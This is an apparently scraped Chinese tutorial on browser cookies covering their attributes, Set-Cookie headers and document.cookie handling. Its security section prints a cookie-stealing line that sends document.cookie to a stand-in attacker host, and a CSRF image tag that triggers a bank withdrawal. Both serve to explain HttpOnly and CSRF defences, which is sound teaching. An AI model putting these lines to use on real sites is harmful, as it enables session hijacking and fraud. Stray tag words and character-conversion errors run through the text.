cookie
是服務器端保存在瀏覽器的一小段文本信息,瀏覽器每次向服務器端發出請求,都會附帶上這段信息(不是全部都帶上,具體的下文會介紹)javascript
使用場景:php
以上用得較多的仍是第一種場景。html
咱們有時候用
cookie
做爲客戶端儲存,可行但不推薦。由於cookie
自己大小有所限制,並且會影響性能。存儲仍是應該考慮localStorage
、sesseionStorage
或者indexDB
前端
在瞭解各個屬性以前,咱們先打開瀏覽器調試——Application
——Cookies
——選中一個域java
上面就會有這些 cookie
的名稱,值,Domain
,Path
,Expires/Max-age
,Size
,HTTP
,Secure
git
咱們接下來就是要講這裏面幾個重要的點segmentfault
Expires 和 Max-Age瀏覽器
這兩個屬性涉及到 cookie
的存活時間安全
Expires
屬性指定一個具體的到期時間,到了這個指定的時間以後,瀏覽器就再也不保留這個 cookie
,它的值是 UTC
格式,可使用 Date.prototype.toUTCString()
格式進行轉換bash
設置以下:
Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT;
複製代碼
Max-Age
屬性制定了從如今開始 cookie
存在的秒數,好比 60 * 60 * 24 * 365
(即一年)。過了這個時間之後,瀏覽器就再也不保留這個 Cookie
Max-Age
的優先級會比 Expires
的高,主要的緣由 Max-Age
所受的外界因素(好比客戶端的時間可能有誤)比較小。
若是二者都不設置的,那麼這個 cookie
就是Session Cookie
,也一旦關閉瀏覽器,瀏覽器就不會保留這個這個 cookie
Domain 和 path
這兩個屬性決定了,HTTP
請求的時候,哪些請求會帶上哪些 Cookie
,具體下面會作講解。
Secure 和 HttpOnly
Secure
屬性指定瀏覽器只有在加密協議 HTTPS
下,才能將這個 Cookie
發送到服務器。另外一方面,若是當前協議是 HTTP
,瀏覽器會自動忽略服務器發來的 Secure
屬性。該屬性只是一個開關,不須要指定值。若是通訊是 HTTPS
協議,該開關自動打開。
設置了 Secure
這個屬性,那麼就會在 Secure
這一欄打鉤
HttpOnly
屬性指定該 Cookie
沒法經過 JavaScript
腳本拿到,主要是Document.cookie
屬性、XMLHttpRequest
對象和Request API
都拿不到該屬性。這樣就防止了該 Cookie
被腳本讀到,只有瀏覽器發出 HTTP
請求時,纔會帶上該 Cookie
。
設置了 HttpOnly
這個屬性,那麼就會在 HTTP
這一欄打鉤
HTTP response——cookie 生成
若是服務器端但願在瀏覽器種 cookie
,那麼它只須要在 HTTP
請求頭信息中,放置一個 Set-Cookie
的字段。舉個例子:
Set-Cookie:foo=bar
那麼就會在瀏覽器種保存一個名爲 foo
,值爲 bar
的 cookie
除了值以外,還能夠設置其餘的屬性
Set-Cookie: <cookie-name>=<cookie-value>; Expires=<date>
Set-Cookie: <cookie-name>=<cookie-value>; Max-Age=<non-zero-digit>
Set-Cookie: <cookie-name>=<cookie-value>; Domain=<domain-value>
Set-Cookie: <cookie-name>=<cookie-value>; Path=<path-value>
Set-Cookie: <cookie-name>=<cookie-value>; Secure
Set-Cookie: <cookie-name>=<cookie-value>; HttpOnly
複製代碼
固然,一個 Set-Cookie
字段是能夠同時包含多個屬性(並且沒有次序要求),以下所示:
Set-Cookie: <cookie-name>=<cookie-value>; Domain=<domain-value>; Secure; HttpOnly
複製代碼
注意一點就是,若是你想要使用
Set-Cookie
修改一個已經存在的cookie
的值,那麼要注意,你必須匹配原有的全部的屬性值(若是存在的話),不然就會生成一個新的cookie
,而不是修改它的值
好比,原有的 cookie
爲:
Set-Cookie: key1=value1; domain=example.com; path=/blog
複製代碼
那麼你正確的修改方式應該是:
Set-Cookie: key1=value2; domain=example.com; path=/blog
複製代碼
若是你的修改方式以下的話:
Set-Cookie: key1=value2; domain=example.com; path=/
複製代碼
就會在瀏覽器端設置兩個同名的 cookie
以下:
Cookie: key1=value1; key1=value2
複製代碼
這不是咱們但願看到的!
HTTP request——cookie 發送
這裏涉及到一個問題,是否是每一個請求咱們都會帶上全部的 cookie
,顯然不是的,要不性能就會十分低下了。那麼瀏覽器是根據什麼判別哪些請求會帶上哪些 cookie
呢?
這就跟 Domain
和 path
屬性息息相關了
好比,如今一個 cookie
它的 Domain
屬性爲 www.example.com
,path
屬性值爲 /
。意味着,這個 cookie
對該域的根路徑以及它的全部子路徑都有效。若是咱們修改了它的 path
值,爲 /forums
,那麼這個 cookie
只要在訪問 www.example.com/forums
及其子路徑時纔會帶上。
會話劫持和XSS
在 Web
應用中,cookie
經常使用來標記用戶或受權會話,若是這些信息(cookie
)會被竊取,可能致使受權用戶的會話從而網頁收到攻擊,好比:
(new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;
複製代碼
HttpOnly
類型的 cookie
就能夠組織 Js
對其的訪問從而緩解這種攻擊
跨站點請求僞造(CSRF)
好比某個網站的圖片以下:
<img src="http://bank.example.com/withdraw?account=bob&amount=1000000&for=mallory">
複製代碼
當你打開這個圖片的時候,若是你登陸以前的銀行帳號並且 cookie
仍然有效(尚未其餘驗證的步驟,有點極端),那麼你的帳戶就有可能有危險了。
在瞭解 cookie
自動刪除以前,咱們先來了解小 cookie
的一些限制條件:
cookie
的最大數量不能超出 4kb,全部超出該限制的 cookie
都會被截斷而且不會發送到服務器端。cookie
的數量不得超過 50 個,Opera
限定 cookie
的數量爲 30個,Safari
和 Chrome
就沒有這種限制。其限制的緣由,主要在於阻止 cookie
的濫用,並且 cookie
會被髮送到服務器端,若是數量太大的話,會嚴重影響請求的性能。以上這兩個限制條件,就是 cookie
爲何會被瀏覽器自動刪除的緣由了。
自動刪除主要存在如下幾種可能:
cookie
(session cookie
)在會話結束的時候(瀏覽器關閉)會被刪除cookie
(Persistent cookie
)在到達失效日期的時候會被刪除cookie
達到上限,會自動清除,而後爲新建的 cookie
騰出空間對於前端而言,咱們獲取 cookie
和設置 cookie
都是經過 document.cookie
的方式進行的。
讀取 cookie
獲取以下(固然是這個 cookie
沒有 HttpOnly
屬性)
能夠看到,document.cookie
是將全部的能夠讀的 cookie
一次性讀出來的,使用分號分割,因此必須手動的分割
var cookies = document.cookie.split(';');
for (var i = 0; i < cookies.length; i++) {
console.log(cookies[i]);
}
// foo=bar
// baz=bar
複製代碼
寫入cookie
咱們能夠經過 document.cookie
爲當前的網站添加 cookie
document.cookie = 'fontSize=14';
複製代碼
寫入的時候,Cookie
的值必須寫成 key=value
的形式。注意,等號兩邊不能有空格。另外,寫入 Cookie
的時候,必須對分號、逗號和空格進行轉義(它們都不容許做爲 Cookie
的值),這能夠用 encodeURIComponent
方法達到。
可是,document.cookie
一次只能寫入一個 Cookie
,並且寫入並非覆蓋,而是添加。
document.cookie = 'test1=hello';
document.cookie = 'test2=world';
document.cookie
// test1=hello;test2=world
複製代碼
寫入 Cookie
的時候,能夠一塊兒寫入 Cookie
的屬性。
例如:
document.cookie = 'fontSize=14; '
+ 'expires=' + someDate.toGMTString() + '; '
+ 'path=/subdirectory; '
+ 'domain=*.example.com';
複製代碼
刪除 cookie
刪除一個現存 Cookie
的惟一方法,是設置它的 expires
屬性爲一個過去的日期。
document.cookie = 'fontSize=;expires=Thu, 01-Jan-1970 00:00:01 GMT';
複製代碼
javascript.ruanyifeng.com/bom/cookie.…
developer.mozilla.org/zh-CN/docs/…
javascript.ruanyifeng.com/bom/cookie.…
歡迎你們關注個人公衆號